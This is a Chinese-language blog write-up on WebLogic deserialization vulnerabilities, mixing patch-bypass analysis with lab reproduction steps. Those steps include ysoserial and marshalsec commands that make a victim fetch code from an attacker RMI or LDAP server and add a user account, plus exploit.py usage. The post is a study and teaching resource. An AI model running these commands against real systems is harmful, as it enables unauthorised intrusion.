weblogic重要漏洞全记录(上)
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
上篇:
下篇:
前言
T3协议存在多个反序列化漏洞
CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2628/CVE-2018-2893/CVE-2018-2894/CVE-2018-3191/CVE-2018-3245/CVE-2019-2890/CVE-2020-2546/CVE-2020-2555/CVE-2020-2801/CVE-2020-2883/CVE-2020-2884/CVE-2020-2915/CVE-2020-14645/CVE-2020-14756/CVE-2020-14825/
IIOP存在多个反序列化漏洞
CVE-2020-2551/CVE-2020-14644/CVE-2020-14841
web存在多个反序列化漏洞
CVE-2017-3506/CVE-2017-10271/CVE-2018-3252/CVE-2019-2725/CVE-2019-2729
此外还存在较严重的web漏洞
CVE-2014-4210/CVE-2018-2894/CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
批量化检测
https://github.com/rabbitmask/WeblogicScan
https://github.com/0xn0ne/weblogicScanner
XMLDecoder反序列化漏洞
CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729为同一漏洞的修补。
尝试访问
/wls-wsat/CoordinatorPortType和/_async/AsyncResponseService
除此之外,还可能存在如下接口
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
这些接口均以XMLDecoder解析xml,存在java反序列化导致任意代码执行。
XMLDecoder和XMLEncoder为java.beans用来反序列化/序列化xml的一个类。
CVE-2017-3506
概述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
环境
JD-GUI
WebLogic 10.3.6
漏洞分析
漏洞触发位置:wls-wsat.war
漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)
漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
POC:
分析漏洞调用链
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
先看一下
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
方法
第43行,将header1变量带入到了readHeaderOld()方法中。header1变量由第41行定义,其值为<work:WorkContext> </work:WorkContext> 标签包裹的数据。
跟进readHeaderOld()方法
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
byteArrayOutputStream,该类实现了将数据写入字节数组的输出流
在106行,有一句
new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray()))
这行代码的大致意思就是将POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类。
跟进至WorkContextXmlInputAdapter类中,查看其构造函数
由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞。
漏洞复现
访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。
漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。只要是在wls-wsat包中的Uri皆受到影响,默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据, <string></string>标签之间分别写存放jsp的路径和要写入的代码,发送
XML的构造参考:
https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html
CVE-2017-10271
概述
CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的:
补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object标签就抛出运行时异常
这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。
漏洞复现
我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。
或者直接只用java反序列化漏洞利用工具
CVE-2019-2725
概述
CVE-2017-10271之后,官方继续追加黑名单,除了object之外,new,method标签被禁止,void只能有index属性,array的class属性只能是byte。但还有class标签可以使用,我们要找到一个类用byte传参,且实例化时可以造成命令执行效果。这就是CVE-2019-2725,同时,这个CVE也发现了_async漏洞。
本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名,因为CVE-2017-10271补丁限制了带method属性的void元素,所以不能调用指定的方法,而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类(weblogic 12.1.3 利用org.slf4j.ext.EventData)构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,最终利用JDK 7u21反序列化漏洞造成了远程代码执行。通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链,再次完美的绕过了CVE-2017-10271补丁限制。
漏洞复现
漏洞触发点:bea_wls9_async_response.war、wsat.war
影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
复现环境:WebLogic 10.3.6
访问以下目录中的一种,如下图所示则漏洞:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
bp在当前页面抓包:
CVE-2019-2729
CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。
因为<class> 标签是漏洞利用所必须的,因此Oracle在CVE-2019-2725补丁中将该标签加入了黑名单。
然而,对JDK 1.6来说,<class>可以被<array method=”forName”>这种反射形式所替代。因此,使用标签<array method=”forName”>替换<class>标签就可以绕过黑名单。
Weblogic 12.x版本使用的是org.slf4j.ext.EventData,以及回显版本参考:
https://github.com/lufeirider/CVE-2019-2725
T3协议反序列化漏洞
CVE-2018-2628
概述
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行
同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638
漏洞复现
使用 https://www.exploit-db.com/exploits/44553 中的脚本进行复现,具体使用方法见脚本。
Kail Attack :192.168.0.162
server08 victim : 192.168.0.163
Kail 执行
1)下载ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
2)使用ysoserial.jar,启动JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]是想执行的命令,而[listen port]是JRMP Server监听的端口。这里我执行:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'
3)执行exploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地(Kail系统上的)ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
这里我执行
python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2
结果如下:
IIOP协议反序列化漏洞
CVE-2020-2552
概述
从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件,影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,导致恶意代码被执行。
经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。
漏洞复现
影响版本:weblogic 10.3.6 weblogic 12.1.3.0 weblogic 12.2.1.3.0 weblogic 12.2.1.4.0
利用的exp为:https://github.com/Y4er/CVE-2020-2551
然后使用marshalsec起一个恶意的RMI服务
编辑一下exp.java
修改为(这是windows的命令执行)
如果需要linux的命令执行修改为:
然后编译
javac exp.java -source 1.6 -target 1.6
编译完可以直接用Python3在当前exp目录起一个web服务
python3 -m http.server 80
然后开始攻击
java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 rmi://192.168.43.50:1099/exp
或者也可以起lpad服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.50/#exp
java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 ldap://192.168.43.50:1389/exp
WebLogic 未授权访问漏洞(CVE-2018-2894)
篇幅问题,下篇展开。。。。。。。
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。
往期文章:
Powershell 免杀过 defender 火绒,附自动化工具Z2OBot
点一下爱心再走吧!